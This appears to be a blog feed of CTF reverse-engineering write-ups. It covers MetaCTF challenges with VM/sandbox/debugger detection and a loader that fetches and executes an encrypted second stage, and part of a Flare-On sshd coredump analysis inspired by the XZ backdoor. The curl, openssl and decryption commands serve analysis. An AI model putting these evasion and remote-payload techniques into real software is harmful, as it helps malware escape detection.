The third check is also related to time, but this time the function doesn’t sleep. It constantly checks the difftime inside a loop and only exits if the diff is greater than 150. The other logic is the same as before.

4, Hypervisor

This check reads the contents of /proc/cpuinfo and searches if the string hypervisor is present. This means the binary may be run from a virtual machine.

5. VM

This function is a bit more complex.

The first part loads some filepaths to the stack, but Ghidra’s decompilation is very weird. I find easier to directly read the assembly code.

It opens and reads each filepath (/sys/class/dmi/id/product_name, /sys/class/dmi/id/sys_vendor, /proc/scsi/scsi, /proc/ide/hd0/model, /proc/ide/hd1/model), searching for strings like “VMware”, “VirtualBox” or “QEMU” that indicate a virtual machine.

6. Connection

The sixth check uses the libcurl to make two different request to the urls https://metactf.com and https://e205e724dda896b5a70bb03b7aed1dba.metactf.com.

The curl library uses constants such as CURLOPT_URL and CURLOPT_FAILONERROR to configure options, which are defined in the source code (for example, in curl.h):

int main(void)
{
  CURL *curl = curl_easy_init();
  if(curl) {
    CURLcode res;
    curl_easy_setopt(curl, CURLOPT_URL, "https://example.com");
    res = curl_easy_perform(curl);
    curl_easy_cleanup(curl);
  }
}

The decompiled code from Ghidra doesn’t include those constants and looking for it in the source code is not easy.

I discovered that LLMs like ChatGPT or Claude excel at mapping these values back to their original constant names. With a few modifications and some variable renaming I finally got the following code that is very self explanatory:

curl_global_init(CURL_GLOBAL_ALL);
curl_session = curl_easy_init();
if (curl_session != NULL) {
    curl_easy_setopt(curl_session, CURLOPT_URL, "https://metactf.com");
    curl_easy_setopt(curl_session, CURLOPT_FAILONERROR, 1L);
    r = curl_easy_perform(curl_session);
    if (r == CURLE_OK) {
        curl_easy_getinfo(curl_session, CURLINFO_RESPONSE_CODE, &status_code);
        if (status_code == 200) {
            curl_easy_getinfo(curl_session, CURLINFO_SIZE_DOWNLOAD, &download_size);
            if (download_size != 0) {
                ret = true;
            }
        }
    }
    curl_easy_setopt(curl_session, CURLOPT_URL, "https://e205e724dda896b5a70bb03b7aed1dba.metactf.com");
    r = curl_easy_perform(curl_session);
    if (r == CURLE_OK) {
        curl_easy_getinfo(curl_session, CURLINFO_RESPONSE_CODE, &status_code);
        ret = ret && (status_code == 200);
    }
    curl_easy_cleanup(curl_session);
}
curl_global_cleanup();

The check only passes if making a request to https://metactf.com returns status code 200 and its content size is greater than zero. The request to the second URL with a large subdomain does not exist and it’s a detection for a fake internet setup like inetsim, often used in sandboxes.

7. IP

The next check gets the IP addresses of the host and verifies if some address in in the 10.13.37. subnet.

8. Process

The eighth check iterates through the running processes and reads the contents of /proc/%s/cmdline for each one. To pass the check, the programs “wireshark”, “pspy”, “gdb”, “strace”, and “ltrace” must not be running, but some process with “apache2” in the cmdline must be present.

9. User

This one is very simple, just ensures that the username is equal to meatctf.

10. LD_PRELOAD

This one is also easy, the LD_PRELOAD env variable must not be set. This environment variable is used to load shared libraries which may override functions of the binary to bypass some anti-debugging protections.

11. Fan

I’m a big fan of this check, didn’t know this technique.

12. Hostname

The final check is on the main function, and gets the hostname and compares with www.

Reversing “The Important Stuff”

After all the previous checks, here starts the important stuff.

Big picture

After analyzing and understanding the individual functions and rename them to descriptive names, the main function can be summarized on the next pseudocode:

if (checks() == 0) {
    info_json = generate_json()
    rsa_public_key = (RSA *)read_public_key();
    rand1_key = RAND_bytes(0x10);
    rand2_iv = RAND_bytes(0x10);
    aes_encrypted = aes_cbc_encrypt(info_json,strlen(info_json),rand1_key,rand2_iv,&aes_encrypted_size);
    rsa_encrypted = rsa_public_encrypt(rsa_public_key,rand1_key,&rsa_encrypted_size)
    register(aes_encrypted,aes_encrypted_size,rsa_encrypted,rsa_encrypted_size,rand2_iv,16,rand1_key,extraout_RAX);
}

First, it generates a json object with information from the machine. Then, it reads a hardcoded public rsa key and generates a key and an iv. Next, it encrypts the json data with aes cbc using the newly generated key and iv. This key is then encrypted using the hardcoded rsa public key. Finally, the function that I named “register” is called with all that information.

Generate json function

This function grabs information about the system and builds a json object. It uses functions similar to the ones used on the previous checks, so I had to review again the exact conditions to build the json with the required data.

{
    "ip_addresses": "%s",
    "hostname": "%s",
    "username": "%s",
    "processes": "%s",
    "fan_count": %d,
    "ld_preload_set": %d
}

Encryption functions

The encryption implementation (both rsa and aes) is standard and not critical to solving this challenge, so I’ll skip the details. It just encrypts data.

Register function

This function is quite large and complex, but can be divided in two very different parts.

Register - preparation

The first part prepares a curl session and prepares the data to be sent.

It uses the header Content-Type: application/octet-stream and puts the data in the allocated memory _ptr_data. The data is the IV, the key rsa-encrypted with the public key, and the aes encrypted json joined toghether. The order is important here.

Register - post request

The next part completes the parameters of the curl request. If the status_code response is ok, it decrypts the response data using the same aes key and iv, creates a temp file with the decrypted data, gives it execute permissions, and finally executes it in a new child process using the fork() function.

Fck, is there a second binary?

After all this looong static analysis, the short available time of the flash ctf has already been consumed, and I almost decided to go to sleep (European Time here).

But I decided to push a bit more and try to obtain the second binary to continue the challenge the next day, in case the ctf infrastrucure was not longer available.

Retrieving the next stage binary

At this point, we have all the knowledge needed; we just need to manually craft a curl request with the encrypted JSON and decrypt the received data.

The first thing to do is generate the json data. After some tests, I realized that the initial checks are in fact the answers for the json data. So I created a file (data.txt) with that information:

{"ip_addresses": "10.13.37.1", "hostname": "www", "username": "meatctf", "processes": "apache2", "fan_count": 2, "ld_preload_set": 0}

Then, we need to extract the public key from the binary.

Locate its position in r2 with the help of the command /cg to search for cryptographic material, find the correct size, and export with wtf:

[0x00002450]> /cg
0x000042c6 hit80_0 .om%dwww-----BEGIN PUBLIC KEY-----MIIBIjANBg.
[0x00002450]> px 0x1d0 @(0x000042c6-5)
- offset -  C1C2 C3C4 C5C6 C7C8 C9CA CBCC CDCE CFD0  123456789ABCDEF0
0x000042c1  2d2d 2d2d 2d42 4547 494e 2050 5542 4c49  -----BEGIN PUBLI
0x000042d1  4320 4b45 592d 2d2d 2d2d 0a4d 4949 4249  C KEY-----.MIIBI
0x000042e1  6a41 4e42 676b 7168 6b69 4739 7730 4241  jANBgkqhkiG9w0BA
...
0x00004451  7230 7668 6d62 3850 4647 437a 526a 5466  r0vhmb8PFGCzRjTf
0x00004461  0a57 5149 4441 5141 420a 2d2d 2d2d 2d45  .WQIDAQAB.-----E
0x00004471  4e44 2050 5542 4c49 4320 4b45 592d 2d2d  ND PUBLIC KEY---
0x00004481  2d2d 0a00 2000 0066 6666 6666 be62 4000  --.. ..fffff.b@.
[0x00002450]> wtf public_key.pem 0x1c3 @ 0x000042c1

I generated the random key and iv with openssl:

openssl rand -out aes.key 16
openssl rand -out aes.iv 16

For encrypting with aes, I used the following command with the newly created key and iv:

openssl enc -aes-128-cbc -in data.txt -out encrypted_data.bin -K $(xxd -p -c 32 aes.key) -iv $(xxd -p -c 32 aes.iv)

And for encrypting the AES key using the RSA public key:

openssl rsautl -encrypt -inkey public.pem -pubin -in aes.key -out aes.key.enc

Combine the files in the correct order:

cat aes.iv aes.key.enc encrypted_data.bin > combined_data.bin

The final curl request uses the option --data-binary to send the combined binary data.

curl -X POST \
  --url "https://e973351f665441a608f99ad8fa2cd797.statichosting-aws.com/register" \
  --data-binary @combined.bin \
  -H "Content-Type: application/octet-stream" \
  -o "response_encrypted_data.bin"

And finally, the last symmetric decryption is very similar to the encryption one:

openssl enc -d -aes-128-cbc -in response_encrypted_data.bin -out response_data.bin -K $(xxd -p -c 32 aes.key) -iv $(xxd -p -c 32 aes.iv)

And I ended up with another binary of just ~15K.

file response_data.bin
response_data.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8f425245bcbc30f554f67fc993fd957c491a2b06, for GNU/Linux 4.4.0, stripped

Second stage binary

At this point, it was very late and I should have already been sleeping, but I couldn’t resist taking a quick look at the binary.

Fortunately for me (and my sleep schedule), the binary was very small.

The second stage binary only prints the flag!

MetaCTF{y0u_g0t_7h3_meats}

I went to sleep happy (and late) and proud to solve the challenge without running the binary :)

the problem was that the competition ended like two hours ago ¯\(ツ)/¯

maybe I should practice more my debugging skills and be a bit more competitive…

Back to top ]]> CTF reversing radare2 ghidra anti-debugging https://0xlibris.net/posts/metactf_2025_feb_carrot/ Wed, 12 Mar 2025 00:00:00 GMT I Heard You Liked Loaders https://0xlibris.net/posts/metactf_2025_jan_loader/

Introduction

This is my solution to the reversing challenge from the Meta Flash CTF of January 2025, titled “I Heard You Liked Loaders.”

For flash CTF challenges, the most efficient method is to directly debug the binary and perform dynamic analysis. However, in this write-up, I will attempt to solve it statically, which I find more interesting.

Speedrun Solution

If you’re looking for a quick win, the binary can be easily debugged using gdb. The process is straightforward:

> next
> next
> next
> set $rax=0  // antidebug bypass
> next
> next
> next
> get flag

It’s as easy as installing a Windows program.

</joke>, not so easy, but something like that.

Initial Binary Analysis

The challenge title and filename (loader) suggest that the binary might be loading or unpacking additional code at runtime.

Let’s start by identifying the binary type:

$ file loader
loader: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, BuildID[sha1]=041598d614a2a880192ec270ae2b0523e9db0631, not stripped

This tells us it’s a 64-bit ELF PIE executable, dynamically linked, and not stripped, so symbols are intact, which will help with analysis.

I loaded the binary in r2 to analyze its contents.

[0x00001050]> afl
0x00001030    1      6 sym.imp.__stack_chk_fail
0x00001040    1      6 sym.imp.mmap
0x00001050    1     37 entry0
0x00001474    1     13 sym._fini
0x00001149    3    808 main
0x00001000    3     27 sym._init
0x00001140    5     60 entry.init0
0x000010f0    5     55 entry.fini0
0x00001080    4     34 fcn.00001080

The presence of mmap is a clue that some dynamic memory operations are taking place.

Dissecting the main Function

The main function consists of two distinct parts:

  • Setup Phase: It loads values into variables and calls mmap to allocate a 0x400-byte memory region with executable permissions.

  • Execution Phase: The data is copied into the allocated region, and execution is transferred to it, indicating that the binary is running some embedded shellcode or bytecode.

Extracting the Bytecode

To analyze the embedded code, I extracted the bytecode from the memory region allocated by mmap. Here’s the Python script I used to extract it:

from pwn import *

bytecode_1 = p64(0xf6314800000001bf) \
           + p64(0x65b8d2314dd23148) \
           + p64(0xf88348050f000000) \
           + p64(0xff31480aeb027500) \
           + p64(0xe8050f0000003cb8) \
           + p64(0x1e358d4800000000) \
           + p64(0x68aceff48000000)  \
           + p64(0x30015e8a1474c084) \
           + p64(0x688072cff4632d8)  \
           + p64(0x90e6ffe9ebc6ff48) \
           + p64(0x3eb85929a65020ff) \
           + p64(0x794e3e874b3ba64e) \
           + p64(0xb9cc51b0c551a7d2) \
           + p64(0xa726fa7971a2d751) \
           + p64(0x3fe33c1aa2a5a285) \
           + p64(0x82baf4bbbcbbbcae) \
           + p64(0xf4b334b38e71430d) \
           + p64(0x403a40474149b034) \
           + p64(0x8a53852720275244) \
           + p64(0x22d88e806643b7ba) \
           + p64(0x80d00e3bdf87893f) \
           + p64(0x7301c7b2ad2c45d7) \
           + p64(0x8f8bdb0527f0d48e) \
           + p64(0xc44cf9ca9d82033f) \
           + p64(0x6bac44c44cf9ca9d) \
           + p64(0xcc0048a96f5750)

with open("bytecode_1", "bw") as f:
    f.write(bytecode_1)

Bytecode 1

I named this bytecode bytecode_1, and loaded into r2 again.

Spoiler alert: it won’t be the only one.

The total size of this bytecode is 0xd0 bytes.

Anti-Debugging Check

At the beginning of the bytecode, there’s a simple anti-debugging technique using syscalls. Debuggers like gdb rely on the ptrace syscall to attach to a running process. Since only one process can attach using ptrace at a time, the program can detect if it’s being debugged by attempting to call ptrace itself. If the call fails, it knows a debugger is present and exits.

For reference, syscall information and their arguments can be found here. Alternatively, Radare2’s emulation features also help in identifying syscalls and their arguments:

rax System Call rdi (request) rsi (pid) rdx (addr) r10 (data)
101 sys_ptrace 1 (PTRACE_TRACEME) 0 0 0

In pseudocode, the anti-debugging logic looks like this:

void fcn.bytecode_1() {
    int is_debug = ptrace(1, 0, 0, 0);
    if (is_debug) {
        exit(0);  // Exit if a debugger is detected
    }
    // Continue execution if no debugger is detected
}

Decryption Function

After the anti-debugging check, the bytecode proceeds to decrypt another portion of itself. From address 0x50, the following bytes appear encrypted, showing random or invalid opcodes in their raw form:

To analyze the next stage, I wrote a simple C function to manually decrypt this section of the bytecode.

I started with the output of the Ghidra decompiler (pdg), but it was difficult to read and ended up rewriting it all again. For a small function like this, it’s better to analyze directly the assembly.

The Radare2 command pcq (Print Characters Quoted) is handy here to copy the encrypted bytes.

unsigned char encrypted[] = {
    0xff, 0x20, 0x50, 0xa6, 0x29, 0x59, 0xb8, 0x3e, 0x4e, 0xa6
    // ...

};

void decrypt_bytes() {
    int i = 0;
    unsigned char value, prev;
    while (1) {
        value = encrypted[i];
        if (value == 0) break;
        // Get previous byte (use 0x90 if it's the first element)
        prev = (i == 0) ? 0x90 : encrypted[i-1];
        encrypted[i] = (value ^ encrypted[i+1] ^ prev) - 7;
        i++;
    }
}

int main() {
    FILE *fp;
    size_t size = sizeof(encrypted);
        
    decrypt_bytes();
        
    // Save to file
    fp = fopen("bytecode_2", "wb");
    if (fp != NULL) {
        fwrite(encrypted, 1, size, fp);
        fclose(fp);
        printf("Decrypted %ld bytes saved to 'bytecode_2'\n", size);
    } else {
        printf("Error: Could not create output file\n");
    }
    return 0;
}

Bytecode 2

The second bytecode is quite similar to the first one, with only minor modifications.

Initial Setup: Register Cleaning and INT3

At the beginning of this bytecode, there’s some register clearing followed by an INT3 instruction.

From Wikipedia:

The INT3 instruction is a one-byte-instruction defined for use by debuggers to temporarily replace an instruction in a running program in order to set a code breakpoint.

This INT3 is likely placed there to help those debugging the challenge dynamically, reducing the difficulty of the challenge. It allows easy pausing right before the next stage of execution.

However, since I’m solving this statically, the breakpoint doesn’t matter.

Decryption Function

After the initial setup, we find another decryption routine. This time, the decryption logic is even simpler than in the first bytecode. It just XORs the current byte with the previous one.

I reused the same C code from the first bytecode but updated the payload and simplified the decryption logic to match the new XOR behavior:

unsigned char encrypted[] = {
    0x2b, 0xf6, 0x28, 0x11, 0x15, 0xda, 0xf8, 0x17, 0x12, 0x3d,
    0xc0, 0xd6, 0x59, 0x50, 0x01, 0xde, 0xe4, 0x33, 0x5c, 0x04,
    // ...

};

void decrypt_bytes() {
    int i = 0;
    unsigned char value, prev;
    while (1) {
        value = encrypted[i];
        if (value == 0) break;
        // Get previous byte (use 0x90 if it's the first element)
        prev = (i == 0) ? 0x90 : encrypted[i-1];
        encrypted[i] = (value ^ prev);
        i++;
    }
}

int main() {
    FILE *fp;
    size_t size = sizeof(encrypted);
        
    decrypt_bytes();
        
    // Save to file
    fp = fopen("bytecode_3", "wb");
    if (fp != NULL) {
        fwrite(encrypted, 1, size, fp);
        fclose(fp);
        printf("Decrypted %ld bytes saved to 'bytecode_3'\n", size);
    } else {
        printf("Error: Could not create output file\n");
    }
    return 0;
}

Bytecode 3

The final bytecode is smaller in size, 0x64 bytes in total, but only 0x3a of them are the real bytecode. The rest are just some 0xffs from the previous extraction.

Unlike the previous stages, this bytecode doesn’t perform any “complex” operations or print the flag directly.

Instead, it simply moves the flag’s characters into the same register over and over. This kind of obfuscation is designed to make dynamic analysis slightly more challenging, but static tools like Radare2 make this final process straightforward by disclosing the flag.

Flag

MetaCTF{m4de_l04d3r_4_ur_l0ad3r}

Back to top ]]> CTF reversing radare2 gdb anti-debugging https://0xlibris.net/posts/metactf_2025_jan_loader/ Tue, 04 Feb 2025 00:00:00 GMT Flare-On 11 Challenge 5: sshd https://0xlibris.net/posts/flare11_5/

Introduction

This year marked my first attempt at the Flare-On, and it’s been a wild ride. Surprisingly, I solved the first four challenges the first weekend, way faster than I expected, but then I hit a wall with this one.

Challenge description

Our server in the FLARE Intergalactic HQ has crashed! Now criminals are trying to tell sell me my own data!!! Do your part, random internet hacker, to help FLARE out and tell us what data they stole! We used the best forensic preservation technique of just copying all the files on the system for you.

The challenge provides an encrypted 7z file (sshd.7z) with the password flare. Inside there is another compressed file: ssh_container.tar.

I started lurking around the compressed files which turned out to be a filesystem. The author of the challenge (toomanybananas) was also disclosed while listing files with tar.

$ tar --exclude="*/*/*" -tvf ssh_container.tar 
drwxr-xr-x toomanybananas/primarygroup 0 2024-09-09 23:48 ./
drwxr-xr-x toomanybananas/primarygroup 0 2024-07-22 02:00 ./var/
drwxr-xr-x toomanybananas/primarygroup 0 2024-07-30 23:22 ./fmnt/
drwxr-xr-x toomanybananas/primarygroup 0 2024-07-22 02:00 ./media/
drwxr-xr-x toomanybananas/primarygroup 0 2024-09-09 23:21 ./tmp/
lrwxrwxrwx toomanybananas/primarygroup 0 2024-07-22 02:00 ./sbin -> usr/sbin
drwxr-xr-x toomanybananas/primarygroup 0 2024-03-29 18:20 ./home/
-rwxr-xr-x toomanybananas/primarygroup 0 2024-07-30 23:22 ./.dockerenv
drwxr-xr-x toomanybananas/primarygroup 0 2024-07-22 02:00 ./mnt/
lrwxrwxrwx toomanybananas/primarygroup 0 2024-07-22 02:00 ./lib -> usr/lib
drwxr-xr-x toomanybananas/primarygroup 0 2024-03-29 18:20 ./boot/
drwxr-xr-x toomanybananas/primarygroup 0 2024-07-22 02:00 ./usr/
drwxr-xr-x toomanybananas/primarygroup 0 2024-07-22 02:00 ./opt/
drwxr-xr-x toomanybananas/primarygroup 0 2024-03-29 18:20 ./sys/
lrwxrwxrwx toomanybananas/primarygroup 0 2024-07-22 02:00 ./bin -> usr/bin
drwxr-xr-x toomanybananas/primarygroup 0 2024-07-22 02:00 ./srv/
drwx------ toomanybananas/primarygroup 0 2024-09-11 22:55 ./root/
lrwxrwxrwx toomanybananas/primarygroup 0 2024-07-22 02:00 ./lib64 -> usr/lib64
drwxr-xr-x toomanybananas/primarygroup 0 2024-07-30 23:22 ./dev/
drwxr-xr-x toomanybananas/primarygroup 0 2024-07-30 23:24 ./run/
drwxr-xr-x toomanybananas/primarygroup 0 2024-09-09 23:21 ./etc/
drwxr-xr-x toomanybananas/primarygroup 0 2024-03-29 18:20 ./proc/

The compressed filename ssh_container.tar and the .dockerenv file clearly suggested me that it was an exported docker container (the best forensic preservation technique). To better recreate the same environment, the compressed file can be imported again as a container, but I already discovered some interesting files:

$ find . -type f -printf '%T+\t%M\t%s\t%p\n' | sort -nr  | head 
2024-09-11+22:55:59.0000000000  -rw-r--r--      2304    ./root/flag.txt
2024-09-09+23:34:36.0000000000  -rw-------      2084864 ./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676
2024-09-09+23:34:33.0000000000  -rw-r--r--      203816  ./usr/lib/x86_64-linux-gnu/liblzma.so.5.4.1
2024-09-09+23:21:59.0000000000  -rw-r--r--      9740    ./var/log/apt/history.log
2024-09-09+23:21:59.0000000000  -rw-r--r--      274238  ./var/lib/dpkg/status
2024-09-09+23:21:59.0000000000  -rw-r--r--      213777  ./etc/ssl/certs/ca-certificates.crt
2024-09-09+23:21:59.0000000000  -rw-r--r--      101749  ./var/log/dpkg.log
2024-09-09+23:21:59.0000000000  -rw-r-----      58803   ./var/log/apt/term.log
2024-09-09+23:21:58.0000000000  -rw-r--r--      532     ./usr/share/mime/audio/x-mpegurl.xml
2024-09-09+23:21:58.0000000000  -rw-r--r--      4       ./usr/share/mime/version

Wait, isn’t that the flag?

$ cat ./root/flag.txt
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣧⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣧⠀⠀⠀⢰⡿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡟⡆⠀⠀⣿⡇⢻⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⣿⠀⢰⣿⡇⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡄⢸⠀⢸⣿⡇⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡇⢸⡄⠸⣿⡇⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⢸⡅⠀⣿⢠⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣥⣾⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⡿⡿⣿⣿⡿⡅⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠉⠀⠉⡙⢔⠛⣟⢋⠦⢵⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣄⠀⠀⠁⣿⣯⡥⠃⠀⢳⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⡇⠀⠀⠀⠐⠠⠊⢀⠀⢸⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⡿⠀⠀⠀⠀⠀⠈⠁⠀⠀⠘⣿⣄⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣠⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣷⡀⠀⠀⠀
⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣧⠀⠀
⠀⠀⠀⡜⣭⠤⢍⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢛⢭⣗⠀
⠀⠀⠀⠁⠈⠀⠀⣀⠝⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠠⠀⠀⠰⡅
⠀⠀⠀⢀⠀⠀⡀⠡⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠔⠠⡕⠀
⠀⠀⠀⠀⣿⣷⣶⠒⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠀⠀⠀⠀
⠀⠀⠀⠀⠘⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⢿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠊⠉⢆⠀⠀⠀⠀
⠀⢀⠤⠀⠀⢤⣤⣽⣿⣿⣦⣀⢀⡠⢤⡤⠄⠀⠒⠀⠁⠀⠀⠀⢘⠔⠀⠀⠀⠀
⠀⠀⠀⡐⠈⠁⠈⠛⣛⠿⠟⠑⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠉⠑⠒⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
if only it were that easy......

hehjhksdfbg

XZ backdoor

Among the other interesting recent files were a coredump of sshd (the same name as the challenge) and a library named liblzma. This immediately pointed me to the XZ Utils backdoor discovered earlier this year.

For context, the XZ backdoor was a supply chain attack where malicious code was introduced into the XZ Utils source. The details of this backdoor are fascinating and can be explored in depth through these resources:

The filename of the coredump, sshd.core.93794.0.0.11.1725917676, and its modification timestamp likely hold clues about when the crash occurred.

So I will have to learn how to analyze a coredump. Let’s go.

Coredump

Analyzing the provided coredump file required a crash course on handling core dumps in Linux. A few helpful resources I found:

The most common tool for inspecting a coredump is gdb, the GNU debugger. Using gdb, I attempted to load the core file as follows:

$ gdb ./usr/sbin/sshd ./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676 
...
Reading symbols from ./usr/sbin/sshd...
(No debugging symbols found in ./usr/sbin/sshd)

warning: Can't open file / (deleted) during file-backed mapping note processing
[New LWP 7378]

warning: .dynamic section for "/lib/x86_64-linux-gnu/libcrypt.so.1" is not at the expected address (wrong library or version mismatch?)
warning: .dynamic section for "/lib/x86_64-linux-gnu/libwrap.so.0" is not at the expected address (wrong library or version mismatch?)
warning: .dynamic section for "/lib/x86_64-linux-gnu/libaudit.so.1" is not at the expected address (wrong library or version mismatch?)
...

But I got lots of errors:

  • Missing debugging symbols -> it’s ok, it’s normal that the binaries are stripped.
  • Warnings about deleted files
  • Warnings about mismatched library versions

I tried different things to solve these issues, like identifying library versions:

$ strings lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC | grep version 
GNU C Library (Debian GLIBC 2.36-9+deb12u8) stable release version 2.36.

or configuring gdb with different options:

set glibc 2.36
set solib-absolute-prefix /
set sysroot /
set libthread-db-search-path /lib/x86_64-linux-gnu
file ./usr/sbin/sshd
core-file ./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676

but was a bit confusing and at that moment felt like I Have No Idea What I’m Doing

To get rid of the errors, the most promising approach was to entirely replicate the original environment. Since the challenge provided a Docker container export, I could re-import it to recreate the system configuration, including the required library versions and paths.

Docker container environment

To accurately reproduce the environment of the crashed server, I used the docker import command to create a Docker image from the provided container tar file.

First, I imported the container:

cat ssh_container.tar | docker import - ssh_container

This generated a new docker image, which I could then use to start an interactive shell:

$ docker run -it --rm ssh_container bash
root@5f044cfbead2:/# ls -l 
total 52
lrwxrwxrwx   1 1125857 89939    7 Jul 22 00:00 bin -> usr/bin
drwxr-xr-x   2 1125857 89939 4096 Mar 29  2024 boot
[...]

Running gdb inside the container resolved most of the earlier issues with missing library sections:

root@a8db2737971a:/# gdb ./usr/sbin/sshd ./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676 
[...]
Reading symbols from ./usr/sbin/sshd...
(No debugging symbols found in ./usr/sbin/sshd)

warning: Can't open file / (deleted) during file-backed mapping note processing
[New LWP 7378]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Core was generated by `sshd: root [priv]      '.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x0000000000000000 in ?? ()
(gdb)

As someone not deeply familiar with GDB, I needed all the additional support and help I could get. Plugins like GEF, PEDA, or pwndbg are very useful.

To make the environment reusable for further testing, I created a non-ephemeral Docker container without the --rm flag. Adding the -e LANG=C.UTF-8 option also helped prevent shell encoding issues that occasionally caused crashes.

$ docker start ssh_container
$ docker exec -it -e LANG=C.UTF-8 ssh_container bash

With the container running persistently, I could install plugins like pwndbg and extra tooling.

Version identify

I checked the versions of key components, including sshd, OpenSSH, OpenSSL, and liblzma. The original XZ backdoor affected versions 5.6.0 and 5.6.1 of liblzma, but the installed version, 5.6.2, seems like was already patched:

root@d61cb175615b:/# ssh -V
OpenSSH_9.2p1 Debian-2+deb12u3, OpenSSL 3.0.14 4 Jun 2024
root@d61cb175615b:/# sshd -V
OpenSSH_9.2, OpenSSL 3.0.14 4 Jun 2024
root@d61cb175615b:/var/log# xz -V
xz (XZ Utils) 5.4.1
liblzma 5.6.2

This confirmed the library was no longer vulnerable to the backdoor described earlier. But the suspicious file identified at the very beginning was /usr/lib/x86_64-linux-gnu/liblzma.so.5.4.1, which confused me even more.

At this point, I was stuck and spent a significant amount of time researching the XZ backdoor itself, detailed in the previous section. While this helped me understand the backdoor mechanism better, it became clear that this challenge was inspired by the backdoor but deviated from its original form.

I spent too much time on this rabbit hole…

Understand the crash

I analyzed the crashed binary (sshd) and its associated libraries using mainly gdb.

With the commands info sources or objdump --syms /usr/sbin/sshd I confirmed that the binaries were stripped of debugging symbols:

root@d61cb175615b:/# objdump --syms /usr/sbin/sshd 

/usr/sbin/sshd:     file format elf64-x86-64

SYMBOL TABLE:
no symbols

To understand the crash, I inspected the call stack using bt or backtrace, which provided the sequence of function calls leading to the crash.

The program crashed when attempting to call a null address (0x0000000000000000). The preceding call came from liblzma.so.5 at address 0x00007f4a18c8f88f, corresponding to liblzma.so.5.4.1. This reinforces the theory that the crash was inspired by the XZ backdoor.

Loading liblzma in Ghidra

To analyze the library further, I loaded it into Ghidra and synchronized its offset with gdb. To do this, I updated the Image Base in Ghidra’s Memory Map. The base address of the .text segment was obtained using the info sharedlibrary command in gdb:

I calculated the base address using the difference between the .text segment address in memory and the file offset in Ghidra:

>>> hex(0x00007f4a18c8ad40 - 0x00104d40 + 0x100000)
'0x7f4a18c86000'

After aligning the base, I examined the memory address associated with the crash.

The crash occurred at the instruction CALL RAX. This instruction attempted to call a function dynamically resolved by dlsym. The intended function appeared to be "RSA_public_decrypt", but the name may had an extra trailing space ("RSA_public_decrypt "), which caused the crash.

Conditions for the Crash

Two conditions must have been met for the crash to occur:

  1. The user’s uid (getuid()) must be 0 (root).

  2. A parameter (param2) must be set to -0x3abf85b8 (byte sequence \xc5\x40\x7a\x48).

The gdb output confirmed the undefined symbol error: 'undefined symbol: RSA_public_decrypt '. This aligned with the hypothesis that the extra space led to the crash.

RSA_public_decrypt

The RSA_public_decrypt() function is defined as follows in the OpenSSL documentation:

